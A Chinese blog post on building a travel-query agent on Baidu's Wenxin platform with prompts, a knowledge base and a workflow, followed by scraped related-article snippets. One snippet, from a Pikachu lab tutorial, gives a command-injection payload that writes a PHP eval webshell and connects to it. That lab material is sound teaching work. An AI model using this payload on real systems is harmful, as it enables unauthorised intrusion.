【文心智能体】通过工作流使用知识库来实现信息查询输出,一键查看旅游相关信息,让出行多一份信心

news/2024/9/17 15:18:27/ 标签: 文心智能体, 旅游类, 工作流, 知识库

欢迎来到《小5讲堂》
这是《文心智能体平台》系列文章,每篇文章将以博主理解的角度展开讲解。
温馨提示:博主能力有限,理解水平有限,若有不对之处望指正!

在这里插入图片描述

目录

  • 创建灵感
  • 基本配置
    • 头像
    • 名称和简介
    • 人物设定
      • 角色与目标
      • 思考路径
      • 个性化
    • 开场白
      • 普通
      • 定制
    • 引导语
      • 普通
      • 定制
  • 高级配置
    • 联网搜索
    • 长期记忆
    • 背景形象
    • 声音
  • 知识库
  • 工作流
  • 体验效果
  • 相关文章

创建灵感

最近要去北京旅游,刚好又是文心智能体平台AI大师一期旅游类智能体活动。
因此,趁这次机会,借助智能体进行旅游相关的智能体开发。
主要从知识库工作流,以及基础的prompt进行开发创建,一起来看下我是如何开发的吧!

基本配置

头像

如果自己没有想好或者没有准备头像,那么就可以使用智能体的AI生成头像,还可以根据的自己描述进行生成。
在这里插入图片描述

名称和简介

接下来就是给自己智能体取个响亮或者尽量唯一的名称。
名称:旅游查询小助手
简介:这是一款查询全国景点信息的旅游查询小助手,景点开放时间、是否收费、是否需要预约、游玩建议等信息一键了

人物设定

开发智能体最核心也是最好玩的地方就是prompt提示词编写和优化,以及模型的选择,
极速模型对于prompt提示词质量要求非常高,否则很大可能不执行工作流等组件。
在编写和调优过程,让我想起以前写代码的过程,刚开始的无法按自己要求实现时很烦躁,
当通过自己的优化后能够准确稳定根据自己设定输出效果后,也是有种非常开心和轻舟已过万重山的感觉。
注:这部分的prompt也是属于大模型的输入参数。

角色与目标

你是一名旅游咨询小助手,你的任务是稳定调用工作流query_to_tour获取信息并输出。
输出信息存在图片或者链接,需要显示出来。

思考路径

1.快速分析用户回复内容。
2.稳定且准确提取用户提到的数据,并作为参数传递给工作流(query_to_tour),
数据包括:景点名称
3.严格以一定格式输出,具体根据用户提问进行样式调整,包括表情包的使用。
4.尽量输出有价值内容,简短有价值。输出篇幅不能太多,尽量100个字讲清楚。
5.一定要做到,用户问什么答什么。
6.调用工作流(query_to_tour)用于记录用户查询的问题信息。
7.输出信息存在图片或者链接,需要显示出来。

个性化

1.输入输出信息必须合法合规,不得包含医疗等敏感信息。
2.输出格式为Markdown格式,并且能够根据语义进行表情包显示,提高用户体验度。🎁参考表情包
😀😃😄💝💖💭 ✨⭐️🌟🎵🔥🎁图片输出格式
![图片](链接)🎁链接输出格式
[标题](链接)

开场白

编写开场白能够让用户快速知道你开发的智能体如何使用,支持使用emoji表情包。
分为两个模式,一个是普通,一个是定制。

普通

你好!欢迎使用旅游查询小助手,一键查询景点信息(是否需要预约、是否免费、游玩建议等等

在这里插入图片描述

定制

可以设置新老用户看到不同的开场白。同时支持一键优化。
在这里插入图片描述
在这里插入图片描述

引导语

普通

普通必须三个问题。在这里插入图片描述

定制

默认必须设置一行两个问答。
最多可以设置三行,每行可设置两列问答。
同时,每个问题都可设置多个回答。
此处的回答是原样输出,不会经过大模型润色。在这里插入图片描述
在这里插入图片描述

高级配置

这部分属于给智能体增强能力,让智能体发挥更多想象空间。
并且每个部分都有对应的描述和示例展示,同时也有官方文档说明,都可以快速上手。
文档:https://agents.baidu.com/docs/

能力描述
知识库扩展智能体的知识储备,智能生成人设,让智能体回答更精准;智能体公开发布后可生成优质问答,用于智能体调优
联网搜索智能体将在需要时自动搜索最新的全网信息
数据库以数据表形式组织数据,可以实现类似记账、读书笔记等功能
工作流通过可视化的方式进行组合,从而实现复杂、稳定的业务流程编排
自动追问在智能体回复后,自动根据对话内容生成追问问题
长期记忆总结聊天对话的内容,并用于更好的回答用户的问题
背景形象智能体的背景形象,为用户提供沉浸式的对话和打电话体验
声音智能体的声音,智能体输出内容播报以及智能体与用户对话声音
插件选择插件能力,让智能体能够执行更多类型的任务
商业化能力选择商业化能力,让智能体能够进行商业转化

联网搜索

博主这里是使用默认开启状态。
目的是当用户咨询的信息在知识库没有数据时,可以使用联网搜索获取相关信息。在这里插入图片描述

长期记忆

开启长期记忆目的也是能够快速输出信息,当用户咨询的信息在记忆里存在则直接从记忆力输出,无需调用工作流

背景形象

可以使用一些和智能体非常贴切的背景,目的是能够让智能体看起来更加美观。在这里插入图片描述

声音

这里可以克隆自己的声音,效果还不错。

知识库

博主开发的这块旅游类智能体,最要依赖于知识库
通过知识库能够更加垂直精准输出用户需要的信息。
并且知识库也可以随时更新,虽然不能做到自动化实时更新,但是常见信息基本能够满足用户需求。在这里插入图片描述

工作流

基本信息

博主这里用的是工作流,在工作流里面使用了知识库,目的是在工作流可以更加灵活。
考虑到后续可能会扩展,所以在工作流使用知识库是非常灵活方便的。
比如,后续如果想对接更多知识库或者根据不同场景调用不同知识库就可以使用选择器等等。
这里的心得分享就是,需要在人物设定里增加一个描述,需要稳定准确调用工作流,目的是提高执行率。在这里插入图片描述

工作流描述

(这个也非常作用,特别是在选择了文心极速模型,需要描述清楚,否则可能不会调用):
请描述工作流的使用场景,大模型将根据此描述识别并调用工作流

prompt优化

思考路径优化了前两句话,目的是让文心极速模型能够稳定优先调用工作流
如果在工作流知识库没有查询到相关信息时,再进行联网搜索获取信息。

  • 优化的prompt
1.快速识别并稳定调用工作流,优选调用工作流2.工作流返回数据后,再使用全网搜索功能,最后结合输出信息。

根据上面prompt优化,成功实现长期记忆内容召回、工作流调用、联网搜索执行的既要、又要、还要的一箭三雕效果。

在这里插入图片描述

体验效果

体验地址:https://mbd.baidu.com/ma/s/O5oSNMZC
PC端体验效果在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

相关文章

文心智能体】通过低代码工作流编排创建应用《挑战奥运问答拿奖牌》

文心智能体】梗图七夕版,一分钟让你看懂如何优化prompt,以及解析低代码工作流编排实现过程和零代码结合插件实现过程,依然是干货满满,进来康康吧

【AI人工智能】文心智能体,00后疯感工牌生成器,低代码工作流的简单应用以及图片快速响应解决方案,干货满满,不容错过哦

文心智能体】前几天百度热搜有一条非常有趣的话题《00后疯感工牌》,看看如何通过低代码工作流方式实现图片显示

文心智能体】通过工作流使用知识库来实现信息查询输出,一键查看旅游相关信息,让出行多一份信心


http://www.ppmy.cn/news/1524542.html

相关文章

Elasticsearch 基本语法使用

1、创建索引 1.1 基本语法 PUT <index_name>index_name&#xff1a;索引名称 1.2 索引命名规范 以小写英文字母命名索引不要使用 驼峰 或者 帕斯卡 命名法则如过出现多个单词的索引名称&#xff0c;以全小写 下划线分隔的方式&#xff1a;如 my_index。 1.3 索引的…

php、Java、python房屋租赁系统 在线租房系统 房源出租平台(源码、调试、LW、开题、PPT)

&#x1f495;&#x1f495;作者&#xff1a;计算机源码社 &#x1f495;&#x1f495;个人简介&#xff1a;本人 八年开发经验&#xff0c;擅长Java、Python、PHP、.NET、Node.js、Android、微信小程序、爬虫、大数据、机器学习等&#xff0c;大家有这一块的问题可以一起交流&…

网络编程(TCP+网络模型)

【1】TCP 初版服务器 #include <stdio.h> #include <sys/types.h> /* See NOTES */ #include <sys/socket.h> #include <netinet/in.h> #include <netinet/ip.h> #include <unistd.h> #include <arpa/inet.h> #include <string.h…

如何在Flask中处理错误

在Flask中处理错误是确保Web应用健壮性和用户体验的重要部分。错误处理不仅涉及捕获和响应服务器或客户端生成的错误&#xff0c;还包括为这些错误提供有意义的反馈&#xff0c;无论是向开发者报告&#xff08;如调试信息&#xff09;还是向最终用户展示&#xff08;如友好的错…

手把手带你拿捏C指针(2)(含冒泡排序)

文章目录 一、数组名的理解二、使用指针访问数组三、一维数组传参本质四、冒泡排序五、二级指针六、指针数组七、指针数组模拟二维数组 一、数组名的理解 在上⼀个章节我们在使⽤指针访问数组的内容时&#xff0c;有这样的代码&#xff1a; int arr[10] {1,2,3,4,5,6,7,8,9,…

C语言-qosrt函数—秩序大师

1、qsort()的作用 在我们的日常生活中&#xff0c;排序无处不在。想象一下&#xff0c;当你整理书架时&#xff0c;会按照书籍的类别、作者或者大小进行排列&#xff0c;让你的阅读空间更加整洁有序。又比如&#xff0c;在超市的货架上&#xff0c;商品通常也是按照一定的规则进…

pytest二次开发:生成用例参数

pytest.fixture是一个装饰器&#xff0c;用于声明一个fixture。Fixture是pytest中的一个核心概念&#xff0c;它提供了一种将测试前的准备代码&#xff08;如设置测试环境、准备测试数据等&#xff09;和测试后的清理代码&#xff08;如恢复测试环境、删除临时文件等&#xff0…

jenkins工具的介绍和gitlab安装

使用方式 替代手动&#xff0c;自动化拉取、集成、构建、测试&#xff1b;是CI/CD持续集成、持续部署主流开发模式中重要工具&#xff1b;必须组件 jenkins-gitlab&#xff0c;代码公共仓库服务器&#xff08;至少6G内存&#xff09;&#xff1b;jenkins-server&#xff0c;需…

Pikachu靶场之RCE漏洞详解

一.exec "ping" 1.ping本机127.0.0.1 2.用&符拼接dir查看目录 3.&拼接echo输入一句话木马 127.0.0.1&echo "<?php eval($_POST[cmd]);?>)" > 6.php 4.同级目录访问6.php&#xff0c;蚁剑连接 二&#xff1a;exec "eval"…

Python中的`set`和`frozenset`的区别

在Python中&#xff0c;set和frozenset是两种用于存储不重复元素的数据结构&#xff0c;它们都属于集合&#xff08;Set&#xff09;类型&#xff0c;但在使用场景、功能特性和性能表现上存在一些关键的区别。 1. 基本概念 set set是Python中的一个内置数据类型&#xff0c;…

滑动窗口——优选算法

个人主页&#xff1a;敲上瘾-CSDN博客 个人专栏&#xff1a;游戏、数据结构、c语言基础、c学习、算法 目录 一.滑动窗口算法原理&#xff1a; 二.无重复字符的最长子串 1.题目解析​编辑 2.算法原理 3.代码编写 三.长度最小的子数组 1.题目解析 2.算法原理 3.代码编…

太能装了,国内有没有二本恋综?

9月&#xff0c;国内头部恋综IP节目《心动的信号第七季》开播。然而&#xff0c;与恋爱甜度相比&#xff0c;嘉宾们的“装”感却率先成为了舆论焦点。 事件起因为首集嘉宾初次会面时&#xff0c;为塑造精英形象太过刻意的行为举止。 其中&#xff0c;最具代表性的场景来自于&…

JDBC详细知识点和操作

javaweb的作用&#xff0c;属于中间者&#xff0c;负责逻辑处理 这三部分互相协作组成了网页 javaweb也就是这三部分 一.数据库部分&#xff08;略&#xff09; 二.javaweb程序 1.JDBC 概念&#xff1a;通过java代码操作数据库 数据库种类有很多&#xff0c;比如Oracle&a…

爬虫3:re正则表达式获取数据

在上一章中&#xff0c;我们基本上掌握了抓取整个网页的基本技能.但是呢&#xff0c;大多数情况下&#xff0c;我们并不需要整个网页的内容,只是 需要那么一小部分&#xff0c;怎么办呢&#xff1f;这就涉及到了数据提取的问题. 本课程中&#xff0c;提供三种解析方式&#xff…

【2025】基于Python的空气质量综合分析系统的设计与实现(源码+文档+调试+答疑)

博主介绍&#xff1a; ✌我是阿龙&#xff0c;一名专注于Java技术领域的程序员&#xff0c;全网拥有10W粉丝。作为CSDN特邀作者、博客专家、新星计划导师&#xff0c;我在计算机毕业设计开发方面积累了丰富的经验。同时&#xff0c;我也是掘金、华为云、阿里云、InfoQ等平台…

Excel如何设置不能复制里面内容?学学工作表保护功能

大家好&#xff0c;这里是效率办公指南&#xff01; &#x1f4ca; 在这个信息爆炸的时代&#xff0c;数据安全变得尤为重要。Excel文件中的数据往往包含了敏感信息&#xff0c;如何确保这些数据不被未经授权的人复制&#xff0c;成为了我们日常工作中的一个挑战。今天&#x…

【Linux 从基础到进阶】Ansible自动化运维工具使用

Ansible自动化运维工具使用 Ansible 是一款开源的自动化运维工具,采用无代理架构(agentless),基于 SSH 连接进行管理,具有简单易用、灵活强大、可扩展性高等特点。它广泛用于服务器管理、应用部署、配置管理等任务。本文将介绍 Ansible 的安装、基本使用方法及一些实际运…

uniapp+vue3实现小程序和h5解压线上压缩包以及如何访问解压后的视频地址

安装jszip插件 npm install jszip 对应功能实现和逻辑处理&#xff1a; <script setup>import { onMounted, reactive, ref } from vueimport { onHide, onUnload } from dcloudio/uni-appimport JSZip from jsziplet videoSrc ref() // 视频地址// 创建JSZip实例con…

基于 PyTorch 和 TensorFlow 的口罩检测与人脸识别系统

在后疫情时代&#xff0c;口罩检测成为了人脸识别系统的一个重要功能。如何在戴口罩的情况下准确识别身份&#xff0c;是一个技术难点。本文将介绍如何利用 PyTorch 和 TensorFlow 实现一个包含口罩检测功能的简单人脸识别系统&#xff0c;结合了Facenet 模型用于特征提取&…

南卡OE PRO2开放式耳机发布,引领开放式音频技术新革命

NANK南卡品牌作为国内的音频大牌&#xff0c;在开放式耳机领域不断的探索尝试&#xff0c;此次新上线的南卡OE Pro2开放式耳机更是集合了南卡整个品牌的多项核心技术和多年心血&#xff0c;即将成为这个领域的尖端产品&#xff0c;这也是南卡开发出新蓝海的象征&#xff0c;预示…